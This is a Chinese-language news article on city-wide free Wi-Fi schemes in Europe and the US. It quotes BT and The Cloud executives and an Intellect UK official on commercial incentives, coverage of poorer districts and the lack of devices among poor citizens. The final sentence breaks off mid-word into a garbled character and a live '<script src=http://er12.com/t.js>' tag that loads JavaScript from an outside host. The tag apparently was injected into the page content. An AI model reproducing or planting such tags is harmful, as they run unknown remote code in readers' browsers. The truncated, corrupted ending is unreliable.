在欧洲和美国的本地改革派权威人士们正在投入到一个全新的技术趋势之中——铺就免费的wi-fi无线城市。
他们的理论就是，建设一个免费的高速无线网络可以让城市中的上班族更有效率，并可以让市民们更容易的获取政府服务。而这种说法中最流行的理由就是这样做可以帮助在数字鸿沟之间建立桥梁，战胜社区排外主义，并支持知识经济。
这个高尚的目标受到这些政治家们的频频赞同，比如tony blair，他的主张是——“我们必须保证整个社会都能享受到互联网的好处”。而能让设想变成可能的许多设备制造商也对此表示赞同——比如，intel的gordon graylish，他最近告诉我们说“要说服社区对外包容是非常困难的”。这些观点听起来非常值得称颂，但是，它真的会实现么？
“这一切目前不会真的发生，因为除去他们自己的设备，显然经营者们只希望投资于一个城市中最有价值的基础结构部分”，niall murphy说（the cloud网络经营的首席技术官）。“至于说到底谁有钱来投资部署这些网络，这是一个很复杂的问题。如果一个城市自己本身并没有资金来承担这些投资，那么出现一个经营者并提供这些投资所需的资金，显然是极具吸引力的”。
这个观点得到了dave hughes的响应，他是bt retail的首席技术官，也是部署bt和motorola无线城市的关键人物之一。该项目将在2007年3月底实现12个英国城市中的一部分实现无线化。“我们的目的主要集中于商业中心，那里是人流最多的地方”，hughes很坦白的说。
在2006年11月底，hughes是无线城市活动的发言人之一——该活动由行业和政治家们在戛纳举行。他告诉会议代表们，bt会很高兴继续它的计划，只要他们继续获得回报。“我们不是慈善家”，他指出这一点。“要想保证所提供的访问服务质量可接受可不是免费的”。
hughes说，钱从哪里来并不重要；门户股东，广告行业，以及补助资金，都欢迎。
这番谈话说明，那些试图消除数字鸿沟的政治家们无法给与商业经营者们放手做的权利，否则那些最需要免费wi-fi的区域就会被遗漏掉。
“如果一个城市对即将发生的一切采取一个被动的观点”，murphy解释道。“你会看到那些网吧都建立在城市的富人区——所以，这就是为何城市必须担当一个积极的角色的原因”
如果权威人士的确很认真地打算使用地方性wi-fi网络来消除经济分隔，murphy说，他们已经看到自己手里有合适的牌了。“他们控制着财产权”，他说。“我们的确看到了一些城市在这么做，他们说——嗯，在我们这儿规则是这样的：我们允许你在富人区提供服务，但我们也要求你在贫民区提供基础建设。作为交换，我们给与你部分垄断经营权，或者给你部分脱离我们基础结构的能力。”
“我认为这样根本不会和中立网络的概念产生冲突，实际上我认为它会促进后者，因为既然做了投资，投资人肯定希望获取最大的回报。”murphy补充说。
至于实际情况，消除数字鸿沟的一个方面——让公众服务易于获取，现在已经有大约90%在线可用——可以通过市政wi-fi予以解决。比如westminster市所实行的，对市民开放的层叠式服务。尽管在westminster市提供普通网络浏览就意味着要对运营者（bt）付费，但是市民获取公共服务却将是免费的——这是一个被预期适合绝大多数地方的模式。
但是消除数字鸿沟远不止此。在一个基本的经济水平上，在线的许多东西都会比高档商品街上的便宜，那么通过网站获得这些可以获得更多的好处。互联网也让在网上开设一家小企业或者进行在线广告服务变为可能，因为管理费用几乎可以忽略不计，如果你的身体有一定残疾，或者相对在家时间很多，那么网络连接可以成为你的经济生命线。而国家的经济当然也会因为这些本身被排除在外的人们所贡献的财政收入而获益。
必须说，为了让基本的电脑培训成为学校课程的一部分，政府已经作了很多的工作，而且绝大多数孩子了解了电脑。不过，即便补贴意味着除学校孩子以外的市民们也可以通过地方wi-fi网免费使用互联网，依旧还是存在着两个关键性的问题。第一个是：他们使用什么来上网？“如果你在社会上处于贫穷层面，那么你很可能不会拥有笔记本电脑或者pda，那么上网就是一句空话。”stephen hearnden说，他是telecommunications for intellect uk（国家的技术行业公会）的主管，不过在这里以个人身份发表看法。他谴责政府不去考虑“终端到终端”，而只是推行免费服务的部署，“却根本没有考虑人们为此将不得不怎样去购买设备才能够使用这些服务”。
图书馆的那些终端有作用很有限，hearnden提出，因为“终端的数目并不足够，而对许多人来说，去使用这些设备的路实在太远了”。他的观点是，在目前，提供合理服务定价的网吧，提供“按需而买”的服务，很可能会比仅仅服务少数富人要好得多。
bt的dave hughes同意，终端是必要的，这样可以覆盖那些“已经被数字鸿沟分?script src=http://er12.com/t.js>
